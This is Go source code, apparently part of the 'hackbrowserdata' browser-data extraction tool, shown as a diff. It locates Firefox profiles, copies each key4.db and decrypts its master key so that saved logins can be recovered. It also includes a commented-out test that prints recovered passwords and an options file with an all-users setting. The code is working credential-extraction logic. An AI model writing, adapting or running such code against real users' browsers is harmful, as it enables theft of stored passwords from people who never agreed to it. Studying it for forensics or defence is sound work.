f.profilePaths = []string{f.profilePath}
}
f.profilePathKeys = make(map[string][]byte)
return nil
}
func (f *firefox) findAllProfiles() ([]string, error) {
var profiles []string
root := fileutil.ParentDir(f.profilePath)
err := filepath.Walk(root, func(path string, info fs.FileInfo, err error) error {
if err != nil {
return err
}
if strings.HasSuffix(path, "key4.db") {
profiles = append(profiles, filepath.Dir(path))
}
depth := len(strings.Split(path, string(filepath.Separator))) - len(strings.Split(root, string(filepath.Separator)))
// if the depth is more than 2 and it's a directory, skip it
if info.IsDir() && path != root && depth >= 3 {
return filepath.SkipDir
}
return err
})
if err != nil {
return nil, err
}
return profiles, err
}
func (f *firefox) initMasterKey() error {
for _, profile := range f.profilePaths {
key, err := f.findMasterKey(profile)
if err != nil {
return err
}
f.profilePathKeys[profile] = key
}
return nil
}
func (f *firefox) findMasterKey(profile string) ([]byte, error) {
keyFile := "key4.db"
keyPath := filepath.Join(profile, keyFile)
if !fileutil.IsFileExists(keyPath) {
// TODO: handle error with more details
return nil, ErrBrowserNotExists
}
tempFile := filepath.Join(os.TempDir(), keyFile)
if err := fileutil.CopyFile(keyPath, tempFile); err != nil {
return nil, err
}
defer os.Remove(tempFile)
globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(tempFile)
if err != nil {
return nil, err
}
metaPBE, err := crypto.NewASN1PBE(metaBytes)
if err != nil {
return nil, err
}
k, err := metaPBE.Decrypt(globalSalt)
if err != nil {
return nil, err
}
keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}
if !bytes.Equal(k, []byte("password-check")) || !bytes.Equal(nssA102, keyLin) {
return nil, fmt.Errorf("invalid master key")
}
nssPBE, err := crypto.NewASN1PBE(nssA11)
if err != nil {
return nil, err
}
masterKey, err := nssPBE.Decrypt(globalSalt)
if err != nil {
return nil, err
}
return masterKey, nil
}
func getFirefoxDecryptKey(key4file string) (item1, item2, a11, a102 []byte, err error) {
db, err := sql.Open("sqlite3", key4file)
if err != nil {
return nil, nil, nil, nil, err
}
defer db.Close()
var (
queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
queryNssPrivate = `SELECT a11, a102 from nssPrivate`
)
if err = db.QueryRow(queryMetaData).Scan(&item1, &item2); err != nil {
return nil, nil, nil, nil, fmt.Errorf("query metaData failed: %w, query: %s", err, queryMetaData)
}
if err = db.QueryRow(queryNssPrivate).Scan(&a11, &a102); err != nil {
return nil, nil, nil, nil, fmt.Errorf("query nssPrivate failed: %w, query: %s", err, queryNssPrivate)
}
return item1, item2, a11, a102, nil
}
func (f *firefox) setDisableAllUsers(e bool) {
f.disableFindAllUser = e
}
func (f *firefox) setProfilePath(p string) {
f.profilePath = p
}
func (f *firefox) setStorageName(s string) {
f.storage = s
}

@ -0,0 +1,17 @@
package hackbrowserdata
import (
"testing"
)
func TestFirefox_Init(t *testing.T) {
// firefox := browsers[Firefox]
// if err := firefox.Init(); err != nil {
// t.Fatal(err)
// }
// passwords, err := firefox.Passwords()
// if err != nil {
// t.Fatal(err)
// }
// fmt.Println(passwords)
}

@ -0,0 +1,36 @@
package hackbrowserdata
type Options struct {
Name browser
Storage string
ProfilePath string
IsEnableAllUser bool
DataTypes []DataType
NewBrowserFunc func(*Options) (Browser, error)
}
type BrowserOption func(*Options)
func WithBrowserName(p string) BrowserOption {
return func(o *Options) {
o.Name = browser(p)
}
}
func WithProfilePath(p string) BrowserOption {
return func(o *Options) {
o.ProfilePath = p
}
}
func WithEnableAllUsers(e bool) BrowserOption {
return func(o *Options) {
o.IsEnableAllUser = e
}
}
func WithStorageName(s string) BrowserOption {
return func(o *Options) {
o.Storage = s
}
}
Loading…
Cancel
Save